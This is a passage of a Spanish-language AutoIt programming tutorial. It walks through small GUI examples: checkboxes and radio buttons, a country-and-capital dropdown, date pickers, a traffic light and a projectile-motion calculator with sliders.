Luego la probabilidad de acertar es 3 / 27 = 1 / 9

**15.- Elegir. CheckBox. Radio.**

[**elegir.exe**](http://kio4.com/autoit/programas/elegir.exe)

- Se trata de pulsar marcar casilleros cuadrados y redondos para elegir distintas opciones.

- De aquí puedes bajar los [**dibujos de las frutas**](http://kio4.com/autoit/imagenes_autoit/frutas.zip).

-**IMPORTANTE:**copiamos las tres imágenes de las frutas en la misma carpeta donde guardemos la aplicación.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Ejecutamos Koda para crear el formulario.**

- Si pulsas **Tools / Run Form**, verás cómo va quedando.

- Pulsamos en **Tools / Generate Form Code...**y obtenemos el código de situación de los componentes del Formulario.

- Ese código lo copiamos en el Editor**SciTE**.

- Código final: Formulario del Koda y algoritmo.

|  |
| --- |
| **Elegir.** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form2 = GUICreate("Elegir - Juan A. Villalpando"**,** 624**,** 329**,** 314**,** 214)  $Checkbox1 = GUICtrlCreateCheckbox("Checkbox1"**,** 56**,** 32**,** 193**,** 25)  $Checkbox2 = GUICtrlCreateCheckbox("Checkbox2"**,** 56**,** 72**,** 137**,** 25)  $Checkbox3 = GUICtrlCreateCheckbox("Checkbox3"**,** 56**,** 112**,** 153**,** 25)  $Radio1 = GUICtrlCreateRadio("Fresa"**,** 304**,** 24**,** 161**,** 25)  $Radio2 = GUICtrlCreateRadio("Limón"**,** 304**,** 64**,** 161**,** 33)  $Radio3 = GUICtrlCreateRadio("Pera"**,** 304**,** 104**,** 161**,** 33)  $Pic1 = GUICtrlCreatePic(""**,** 432**,** 24**,** 129**,** 113)  $Label1 = GUICtrlCreateLabel("Label1"**,** 40**,** 200**,** 533**,** 60)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $mensaje\_checkbox = ""  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **EndSelect**  **;;;;;;;;;;;;;;;;;;;; CheckBox ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $mensaje\_checkbox = ""  **If** GUICtrlRead($CheckBox1) = 1 **Then**  $mensaje\_checkbox = $mensaje\_checkbox & "Marcado el CheckBox1 "  **EndIf**  **If** GUICtrlRead($CheckBox2) = 1 **Then**  $mensaje\_checkbox = $mensaje\_checkbox & "Marcado el CheckBox2 "  **EndIf**  **If** GUICtrlRead($CheckBox3) = 1 **Then**  $mensaje\_checkbox = $mensaje\_checkbox & "Marcado el CheckBox3"  **EndIf**  GUICtrlSetData($Label1**,**$mensaje\_checkbox)  Sleep(50) **; Evita el parpadeo del Label1 y la imagen.**  **;;;;;;;;;;;;;;;;;;;; Radio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **If** GUICtrlRead($Radio1) = $GUI\_CHECKED **Then**  GUICtrlSetImage ($Pic1**,** "fresa.gif")  **EndIf**  **If** GUICtrlRead($Radio2) = $GUI\_CHECKED **Then**  GUICtrlSetImage ($Pic1**,** "limon.gif")  **EndIf**  **If** GUICtrlRead($Radio3) = $GUI\_CHECKED **Then**  GUICtrlSetImage ($Pic1**,** "pera.gif")  **EndIf**  **Wend**  **Exit** |

- Lo ejecutamos: **Tools / Go.** [En caso de que ya estuviera funcionando pulsamos "Tools / Stop Executing"]

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- Es un código un poco complicado de entender para los que empiezan, ya que no saben en qué lugar poner las líneas.

- El Sleep (50) está puesto para que el texto del Label1 y la imagen del Pic1 no parpadeen demasiado.

- En la construcción del Formulario mediante $WS\_EX\_COMPOSITED y $WS\_EX\_TRANSPARENT evita el parpadeo (flicker), esto lo veremos en el tutorial 67 de bluetooth.

$Form1 = GUICreate("BT - Juan A. Villalpando", 386, 273, 368, 166, BitOR($WS\_MINIMIZEBOX, $WS\_SIZEBOX,$WS\_EX\_COMPOSITED, $WS\_EX\_TRANSPARENT))

- La convertimos en autoejecutable mediante **Aut2Exe,** aqui está: [**elegir.exe**](http://kio4.com/autoit/programas/elegir.exe)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Otro código.**

- Vamos a utilizar**tres Etiquetas (Label)** para ver el estado de los CheckBox.

- Además la consulta del elemento activado se hace mediante **Case**.

[**elegir2.exe**](http://kio4.com/autoit/programas/elegir2.exe)

|  |
| --- |
| **Elegir2.** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form2 = GUICreate("Elegir - Juan A. Villalpando"**,** 624**,** 329**,** 129**,** 184)  $Checkbox1 = GUICtrlCreateCheckbox("Checkbox1"**,** 56**,** 32**,** 193**,** 25)  $Checkbox2 = GUICtrlCreateCheckbox("Checkbox2"**,** 56**,** 72**,** 137**,** 25)  $Checkbox3 = GUICtrlCreateCheckbox("Checkbox3"**,** 56**,** 112**,** 153**,** 25)  $Radio1 = GUICtrlCreateRadio("Fresa"**,** 304**,** 24**,** 65**,** 25)  $Radio2 = GUICtrlCreateRadio("Limón"**,** 304**,** 64**,** 81**,** 33)  $Radio3 = GUICtrlCreateRadio("Pera"**,** 304**,** 104**,** 89**,** 33)  $Pic1 = GUICtrlCreatePic(""**,** 432**,** 24**,** 129**,** 113)  $Label1 = GUICtrlCreateLabel("Label1"**,** 48**,** 176**,** 173**,** 28)  $Label2 = GUICtrlCreateLabel("Label2"**,** 48**,** 216**,** 173**,** 20)  $Label3 = GUICtrlCreateLabel("Label3"**,** 48**,** 248**,** 173**,** 20)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $CheckBox1  **If** GUICtrlRead($CheckBox1) = 1 **Then**  GUICtrlSetData($Label1**,** "Marcado CheckBox1")  **Else**  GUICtrlSetData($Label1**,** "-")  **EndIf**  **Case** $msg = $CheckBox2  **If** GUICtrlRead($CheckBox2) = 1 **Then**  GUICtrlSetData($Label2**,** "Marcado CheckBox2")  **Else**  GUICtrlSetData($Label2**,** "-")  **EndIf**  **Case** $msg = $CheckBox3  **If** GUICtrlRead($CheckBox3) = 1 **Then**  GUICtrlSetData($Label3**,** "Marcado CheckBox3")  **Else**  GUICtrlSetData($Label3**,** "-")  **EndIf**  **Case** $msg = $Radio1  GUICtrlSetImage ($Pic1**,** "fresa.gif")  **Case** $msg = $Radio2  GUICtrlSetImage ($Pic1**,** "limon.gif")  **Case** $msg = $Radio3  GUICtrlSetImage ($Pic1**,** "pera.gif")  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Cambia el tiempo del Sleep.

**17.- Desplegable. Lista. Países y capitales. (Combo. List).**

[**desplegable.exe**](http://kio4.com/autoit/programas/desplegable.exe)

- Al elegir un elemento de la Lista saldrá la capital y su país correspondiente.

- Al pulsar sobre una opción de un Desplagable (Combo), saldrá el nombre de un país y su capital.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Código completo.**

|  |
| --- |
| **Desplegable.** |
| #include <ComboConstants.au3>  #include <GUIConstantsEx.au3>  #include <GUIListBox.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form3 = GUICreate("Desplegable - Juan A. Villalpando"**,** 615**,** 368**,** 374**,** 136)  $Combo1 = GUICtrlCreateCombo("Elige el país"**,** 352**,** 16**,** 201**,** 25**,** BitOR($CBS\_DROPDOWN**,**$CBS\_AUTOHSCROLL))  GUICtrlSetData(-1**,** "España|México|Colombia|Argentina|Chile|Perú|Ecuador|Venezuela|Uruguay|Paraguay|Bolivia|Cuba|Rep. Dominicana")  $List1 = GUICtrlCreateList(""**,** 24**,** 16**,** 185**,** 118)  GUICtrlSetData(-1**,** "Asunción|Bogotá|Buenos Aires|Caracas|Ciudad de México|La Habana|La Paz|Lima|Madrid|Montevideo|Quito|Santiago|Santo Domingo")  $Label1 = GUICtrlCreateLabel("Label1"**,** 16**,** 304**,** 269**,** 36)  $Label2 = GUICtrlCreateLabel("Label2"**,** 296**,** 304**,** 309**,** 36)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  $pais = ""  $capital = ""  $texto = ""  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $List1  $capital = GUICtrlRead($List1)  **if** $capital = "Madrid" **Then** $pais = "España"  **if** $capital = "Ciudad de México" **Then** $pais = "México"  **if** $capital = "Bogotá" **Then** $pais = "Colombia"  **if** $capital = "Buenos Aires" **Then** $pais = "Argentina"  **if** $capital = "Santiago" **Then** $pais = "Chile"  **if** $capital = "Lima" **Then** $pais = "Perú"  **if** $capital = "Quito" **Then** $pais = "Ecuador"  **if** $capital = "Caracas" **Then** $pais = "Venezuela"  **if** $capital = "Montevideo" **Then** $pais = "Uruguay"  **if** $capital = "Asunción" **Then** $pais = "Paraguay"  **if** $capital = "La Paz" **Then** $pais = "Bolivia"  **if** $capital = "La Habana" **Then** $pais = "Cuba"  **if** $capital = "Santo Domingo" **Then** $pais = "Rep. Dominicana"  $texto = $capital & " es la capital de " & $pais  GUICtrlSetData($Label1**,** $texto)  **Case** $msg = $Combo1  $pais = GUICtrlRead($Combo1)  **if** $pais = "España" **Then** $capital = "Madrid"  **if** $pais = "México" **Then** $capital = "Ciudad de México"  **if** $pais = "Colombia" **Then** $capital = "Bogotá"  **if** $pais = "Argentina" **Then** $capital = "Buenos Aires"  **if** $pais = "Chile" **Then** $capital = "Santiago"  **if** $pais = "Perú" **Then** $capital = "Lima"  **if** $pais = "Ecuador" **Then** $capital = "Quito"  **if** $pais = "Venezuela" **Then** $capital = "Caracas"  **if** $pais = "Uruguay" **Then** $capital = "Montevideo"  **if** $pais = "Paraguay" **Then** $capital = "Asunción"  **if** $pais = "Bolivia" **Then** $capital = "La Paz"  **if** $pais = "Cuba" **Then** $capital = "La Habana"  **if** $pais = "Rep. Dominicana" **Then** $capital = "Santo Domingo"  $texto = "La capital de " & $pais & " es " & $capital  GUICtrlSetData($Label2**,** $texto)  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- En vez de utilizar este código podríamos haberlo realizado con matrices.

- En este tutorial podemos ver cómo [añadir un elemento a la Lista](https://beamtic.com/create-list-view-autoit).

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

-

**19.- Calendario (DatePicker. MonthCal.).**

**calendario.exe**

-**Nota:** para trabajar con fechas es más fácil utilizar macros de fecha, como indico al final de esta página.

- Vamos a ver los componentes **Date Picker y MohthCal**.

- Una de las cosas importantes que necesitaremos es **formatear las fechas**. Lo podemos hacer con:

**\_GUICtrlDTP\_SetFormat($Date1, "dd:MM:yyyy")**

<https://www.autoitscript.com/autoit3/docs/libfunctions/_GUICtrlDTP_SetFormat.htm>

**\_DateTimeFormat($Date1, 1)**

<https://www.autoitscript.com/autoit3/docs/libfunctions/_DateTimeFormat.htm>

- El formato de entrada debe ser: "YYYY/MM/DD[ HH:MM:SS]"

**---------------------------------------------------------------------------------------------------------------------------**

- También es interesante obtener la **diferencia entre dos fechas** en días, meses, horas, segundos...

**\_DateDiff('d', $dia, \_NowCalc())**

<https://www.autoitscript.com/autoit3/docs/libfunctions/_DateDiff.htm>

- El formato de entrada debe ser: "YYYY/MM/DD[ HH:MM:SS]"

- **Sumar y restar fechas**:

**\_DateAdd**

<https://www.autoitscript.com/autoit3/docs/libfunctions/_DateAdd.htm>

- El formato de entrada debe ser: "YYYY/MM/DD[ HH:MM:SS]"

- La**hora y fecha actual** las obtenemos mediante:

**\_NowCalc()**

**- IMPORTANTE:**

- Para trabajar con fechas es más fácil utilizar**macros de fechas**:

<https://www.autoitscript.com/autoit3/docs/macros.htm#%40MDAY>

$dateinput = [GUICtrlCreateDate](https://www.autoitscript.com/autoit3/docs/functions/GUICtrlCreateDate.htm)(@YEAR & "/" & @MON & "/" & @MDAY,67, 67, 155, 20)

- Para trabajar con fechas hay que incluir **alguna librería** como:

**#include <Date.au3>  
#include <GuiDateTimePicker.au3>**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- El calendario está en Koda: Win32**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Código completo.**

|  |
| --- |
| **Calendario diferencia entre hoy y otra fecha.** |
| #include <DateTimeConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <GuiDateTimePicker.au3>  #include <Date.au3>  **#Region ### START Koda GUI section ### Form=**  $Form2 = GUICreate("Calendario - Juan A. Villalpando"**,** 763**,** 421**,** 344**,** 136)  $Date1 = GUICtrlCreateDate(\_NowCalc()**,** 8**,** 16**,** 297**,** 24)  $MonthCal1 = GUICtrlCreateMonthCal(\_NowCalc()**,** 472**,** 16**,** 271**,** 209)  $Label1 = GUICtrlCreateLabel("Label1"**,** 16**,** 224**,** 309**,** 20)  $Label2 = GUICtrlCreateLabel("Label2"**,** 16**,** 272**,** 309**,** 20)  $Label3 = GUICtrlCreateLabel("Label3"**,** 16**,** 320**,** 309**,** 20)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  $dia = ""  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Date1  $dia = GUICtrlRead($Date1)  GUICtrlSetData($Label1**,** $dia)  **; Diferencia entre hoy y otro día.**  **Case** $msg = $MonthCal1  $dia = GUICtrlRead($MonthCal1)  GUICtrlSetData($Label1**,**GUICtrlRead($MonthCal1))  GUICtrlSetData($Label2**,**\_NowCalc())  GUICtrlSetData($Label3**,**\_DateDiff('d'**,** $dia**,** \_NowCalc()))  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Formatos de fechas:**

- En código crea la función \_DateFormat()

|  |
| --- |
| **Formatos de fecha. Crea la función \_DateFormat()** |
| #include <GuiConstantsEx.au3>  #include <GuiDateTimePicker.au3>  **Local** $Date = "1953/04/05 14:30:11.6"  MsgBox(0**,** "Date Format"**,** 'Date = ' & $Date & @CRLF & \_  '"d MMM-yy" ' & @tab & " = " & \_DateFormat($Date**,** "d MMM-yy") & @CRLF & \_  '"dddd, d MMMM, yyyy" = ' & \_DateFormat($Date**,** "dddd, d MMMM, yyyy") & @CRLF & \_  '"dd/MM/yyyy" ' & @tab & " = " & \_DateFormat($Date**,** "dd/MM/yyyy") & @CRLF & \_  '"HH-mm-ss or h:mm tt"" = ' & \_DateFormat($Date**,** "HH-mm-ss or h:mm tt"))  **; Crea la función \_DateFormat**  **Func** \_DateFormat($Date**,** $style)  **Local** $hGui = GUICreate("My GUI get date"**,** 200**,** 200**,** 800**,** 200)  **Local** $idDate = GUICtrlCreateDate($Date**,** 10**,** 10**,** 185**,** 20)  GUICtrlSendMsg($idDate**,** 0x1032**,** 0**,** $style)  **Local** $sReturn = GUICtrlRead($idDate)  GUIDelete($hGui)  Return $sReturn  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Diferencia entre dos fechas.**

- <https://www.autoitscript.com/forum/topic/134970-difference-between-2-dates/>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Hora y fecha actual.**

- <https://www.autoitscript.com/autoit3/docs/libfunctions/_NowDate.htm>

- <https://www.autoitscript.com/autoit3/docs/libfunctions/_NowTime.htm>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Se utilizan macros para trabajar fácilmente con las fechas.**

- A veces cuesta trabajo entender el formateo de fechas. Para trabajar con fechas fácilmente formateadas se suelen utilizar las macros.

|  |
| --- |
| **Fecha con macro** |
| $fecha = "Hoy es " & @MDAY & " del " & @MON & " de " & @YEAR & ". Son las " & @HOUR & " horas y " & @MIN & " minutos."  MsgBox(0, "Fecha", $fecha) |

- Aquí las puedes encontrar.

- <https://www.autoitscript.com/autoit3/docs/macros.htm>

**20.- Semáforo.**

- Código obtenido de:

<https://www.autoitscript.com/forum/topic/186302-changing-graphic-colors/>

- Trata de un semáforo que cambia sus luces roja, amarilla y verde cada vez que pulsamos sobre él.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Código completo.**

|  |
| --- |
| **semaforo.au3** |
| #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <SendMessage.au3>  **; ============ Get focus on traffic lights then press Esc to Exit ===================**  **; ============ Traffic lights can be dragged ===================**  **Global** $iFactor = 14 **; <<----- Bigger the number, the bigger the traffic lights size - say between 0.5 and 14+**  **Local** $iLeft = 20**,** $iTop = 20  **Global** $aLights[3]**,** $iFlag = 1  **Global** $hWnd = GUICreate(""**,** 28 \* $iFactor**,** 70 \* $iFactor**,** $iLeft**,** $iTop**,** $WS\_POPUP + $WS\_BORDER**,** $WS\_EX\_TOPMOST)  GUISetBkColor(0x808080**,** $hWnd)  **For** $i = 0 **To** 2  $aLights[$i] = GUICtrlCreateGraphic(2 \* $iFactor**,** (2 + ($i \* 20)) \* $iFactor**,** 28 \* $iFactor**,** 31 \* $iFactor)  GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0x000000**,** $i = 0 ? 0xFF0000 **:** 0x000000) **;== red**  GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 2 \* $iFactor**,** 2 \* $iFactor**,** 20 \* $iFactor**,** 20 \* $iFactor)  **Next**  GUISetState()  **While** 1  $msg = GUIGetMsg()  **Switch** $msg  **Case** $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $GUI\_EVENT\_PRIMARYDOWN  \_SendMessage($hWnd**,** $WM\_SYSCOMMAND**,** 0xF012**,** 0)  **Case** $GUI\_EVENT\_PRIMARYUP  \_Change()  **EndSwitch**  **WEnd**  **Func** \_Change()  $iFlag = Mod($iFlag + 1**,** 3)  GUICtrlSetGraphic($aLights[0]**,** $GUI\_GR\_COLOR**,** 0x000000**,** $iFlag = 1 ? 0xFF0000 **:** 0x000000) **;== Red else Black**  GUICtrlSetGraphic($aLights[0]**,** $GUI\_GR\_ELLIPSE**,** 2 \* $iFactor**,** 2 \* $iFactor**,** 20 \* $iFactor**,** 20 \* $iFactor)  GUICtrlSetGraphic($aLights[0]**,** $GUI\_GR\_REFRESH)  GUICtrlSetGraphic($aLights[1]**,** $GUI\_GR\_COLOR**,** 0x000000**,** ($iFlag = 0) ? 0xFFFF00 **:** 0x000000) **;== Yellow else Black**  GUICtrlSetGraphic($aLights[1]**,** $GUI\_GR\_ELLIPSE**,** 2 \* $iFactor**,** 2 \* $iFactor**,** 20 \* $iFactor**,** 20 \* $iFactor)  GUICtrlSetGraphic($aLights[1]**,** $GUI\_GR\_REFRESH)  GUICtrlSetGraphic($aLights[2]**,** $GUI\_GR\_COLOR**,** 0x000000**,** $iFlag = 2 ? 0x00FF00 **:** 0x000000) **;== Green else Black**  GUICtrlSetGraphic($aLights[2]**,** $GUI\_GR\_ELLIPSE**,** 2 \* $iFactor**,** 2 \* $iFactor**,** 20 \* $iFactor**,** 20 \* $iFactor)  GUICtrlSetGraphic($aLights[2]**,** $GUI\_GR\_REFRESH)  **EndFunc** **;==>\_Change** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Comentarios.**

- Observa que para que cambie el color se ha de refrescar: GUICtrlSetGraphic($aLights[2]**,** $GUI\_GR\_REFRESH)

- Código de círculos:

$circulo1 = GUICtrlCreateGraphic(100**,** 40**,** 50**,** 10)

GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0**,** 0xecc6d9)

GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 8**,** 8**,** 40**,** 40)

$circulo2 = GUICtrlCreateGraphic(235**,** 40**,** 50**,** 10)

GUICtrlSetGraphic(-1**,** $GUI\_GR\_COLOR**,** 0**,** 0xecc6d9)

GUICtrlSetGraphic(-1**,** $GUI\_GR\_ELLIPSE**,** 8**,** 8**,** 40**,** 40)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Al pulsar un botón cambia de color.**

- Código obtenido de:

<https://www.autoitscript.com/forum/topic/154428-how-to-change-the-color-of-a-rectangle/>

|  |
| --- |
| **boton\_color.au3** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  Opt("GUIOnEventMode"**,** 1)  **;START gUI**  $GUI1 = GUICreate("Rectangle Example"**,** 448**,** 240**,** 192**,** 124)  GUISetOnEvent($GUI\_EVENT\_CLOSE**,** "GUIClose")  $border = GUICtrlCreateGraphic(55**,** 16**,** 336**,** 145)  GUICtrlSetGraphic($border**,** $GUI\_GR\_COLOR**,** 0x00000**,** 0xFF0000)  GUICtrlSetGraphic($border**,** $GUI\_GR\_RECT**,** 0**,** 0**,** 322**,** 126)  $Button1 = GUICtrlCreateButton("Green"**,** 56**,** 192**,** 89**,** 33)  GUICtrlSetOnEvent(-1**,** "TurnGreen")  $Button2 = GUICtrlCreateButton("Blue"**,** 176**,** 192**,** 89**,** 33)  GUICtrlSetOnEvent(-1**,** "TurnBlue")  $Button3 = GUICtrlCreateButton("Purple"**,** 288**,** 192**,** 89**,** 33)  GUICtrlSetOnEvent(-1**,** "TurnPurple")  GUISetState(@SW\_SHOW)  **;END GUI**  **While** 1  **WEnd**  **Func** GUIClose()  **Exit**  **EndFunc** **;==>GUIClose**  **Func** TurnGreen()  GUICtrlSetGraphic($border**,** $GUI\_GR\_COLOR**,** 0x00000**,** 0x00FF00)  GUICtrlSetGraphic($border**,** $GUI\_GR\_RECT**,** 0**,** 0**,** 322**,** 126)  GUICtrlSetGraphic($border**,** $GUI\_GR\_REFRESH)  **EndFunc** **;==>TurnGreen**  **Func** TurnBlue()  GUICtrlSetGraphic($border**,** $GUI\_GR\_COLOR**,** 0x00000**,** 0x0080FF)  GUICtrlSetGraphic($border**,** $GUI\_GR\_RECT**,** 0**,** 0**,** 322**,** 126)  GUICtrlSetGraphic($border**,** $GUI\_GR\_REFRESH)  **EndFunc** **;==>TurnBlue**  **Func** TurnPurple()  GUICtrlSetGraphic($border**,** $GUI\_GR\_COLOR**,** 0x00000**,** 0x8000FF)  GUICtrlSetGraphic($border**,** $GUI\_GR\_RECT**,** 0**,** 0**,** 322**,** 126)  GUICtrlSetGraphic($border**,** $GUI\_GR\_REFRESH)  **EndFunc** **;==>TurnPurple** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- C

**21.- Deslizable. (Slider). Tiro parabólico.**

[**parabolico.exe**](http://kio4.com/autoit/programas/parabolico.exe)

- En un tiro parabólico establecemos **el ángulo y la velocidad** y debemos calcular el tiempo de vuelo, la altura máxima y el alcance.

- Las expresiones las puedes encontrar en muchas páginas web.

|  |  |
| --- | --- |
|  |  |

**---------------------------------------------------------------------------------------------------------------------------**

**- Koda.**

- Primero ponemos el **GroupBox** que está en la pestaña de **Standard**, dentro ponemos dos Etiquetas y dos Slider, estos están en la pestaña de Win32.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Código completo.**

|  |
| --- |
| **parabolico.au3** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <SliderConstants.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form3 = GUICreate("Tiro parabólico - Juan A. Villalpando"**,** 546**,** 431**,** 380**,** 196)  $Group1 = GUICtrlCreateGroup("Establece el ángulo y la velocidad "**,** 48**,** 16**,** 449**,** 273)  $Slider1 = GUICtrlCreateSlider(72**,** 120**,** 377**,** 41**,** BitOR($TBS\_TOOLTIPS**,** $TBS\_BOTH**,** $TBS\_ENABLESELRANGE))  GUICtrlSetLimit(-1**,** 90**,** 0)  $Slider2 = GUICtrlCreateSlider(80**,** 232**,** 369**,** 49**,** BitOR($TBS\_TOOLTIPS**,** $TBS\_BOTH**,** $TBS\_ENABLESELRANGE))  GUICtrlSetLimit(-1**,** 100**,** 0)  $Label1 = GUICtrlCreateLabel("Ángulo en grados: "**,** 88**,** 56**,** 356**,** 20)  $Label2 = GUICtrlCreateLabel("Velocidad en m/s: "**,** 88**,** 168**,** 355**,** 20)  GUICtrlCreateGroup(""**,** -99**,** -99**,** 1**,** 1)  $Label3 = GUICtrlCreateLabel("Tiempo de vuelo en segundos: "**,** 72**,** 304**,** 425**,** 20)  $Label4 = GUICtrlCreateLabel("Altura máxima en metros: "**,** 72**,** 344**,** 425**,** 20)  $Label5 = GUICtrlCreateLabel("Alcance en metros: "**,** 72**,** 384**,** 429**,** 20)  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando**  **#EndRegion ### END Koda GUI section ###**  $velocidad = 0  $angulo = 0  $tiempo\_de\_vuelo = 0  $altura\_maxima = 0  $alcance = 0  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** **Else**  $angulo = GUICtrlRead($Slider1)  $radianes = (2 \* 3.14 \* $angulo) / 360 **; Convierte a radianes**  $velocidad = GUICtrlRead($Slider2)  GUICtrlSetData($Label1**,** "Ángulo en grados: " & $angulo)  GUICtrlSetData($Label2**,** "Velocidad en m/s: " & $velocidad)  $tiempo\_de\_vuelo = (2 \* $velocidad \* sin($radianes)) / 9.8  $tiempo\_de\_vuelo = Round($tiempo\_de\_vuelo**,** 2)  GUICtrlSetData($Label3**,** "Tiempo de vuelo en segundos: " & $tiempo\_de\_vuelo)  $alcance = ($velocidad^2 / 9.8) \* sin(2 \* $radianes)  $alcance = Round($alcance**,** 2)  GUICtrlSetData($Label4**,** "Alcance en metros: " & $alcance)  $altura\_maxima = $velocidad^2 \* sin($radianes)^2 / (2 \* 9.8)  $altura\_maxima = Round($altura\_maxima**,** 2)  GUICtrlSetData($Label5**,** "Altura máxima en metros: " & $altura\_maxima)  Sleep(40)  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Comentarios.**

- Observa que el cálculo está en **Case Else**

- Observa que las operaciones de senos, se realizan en radianes, hemos tenido que convertir de grados a radianes.

- Hay funciones para pasar de radianes a grados y viceversa:

[\_Radian](https://www.autoitscript.com/autoit3/docs/libfunctions/_Radian.htm)    [\_Degree](https://www.autoitscript.com/autoit3/docs/libfunctions/_Degree.htm)

- Esta parte del código es para poner cierto estilo en el componente BitOR($TBS\_TOOLTIPS, $TBS\_BOTH, $TBS\_ENABLESELRANGE)

<https://www.autoitscript.com/autoit3/docs/appendix/GUIStyles.htm#Edit>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Calcula el tiempo de recorrido de la luz y el sonido según vimos en [**App Inventor: 3Bdeslizador.htm**](http://kio4.com/appinventor/3Bdeslizador.htm)

**22.- Deslizable. (Slider). Suma de colores RVA.**

[**suma\_colores.exe**](http://kio4.com/autoit/programas/suma_colores.exe)

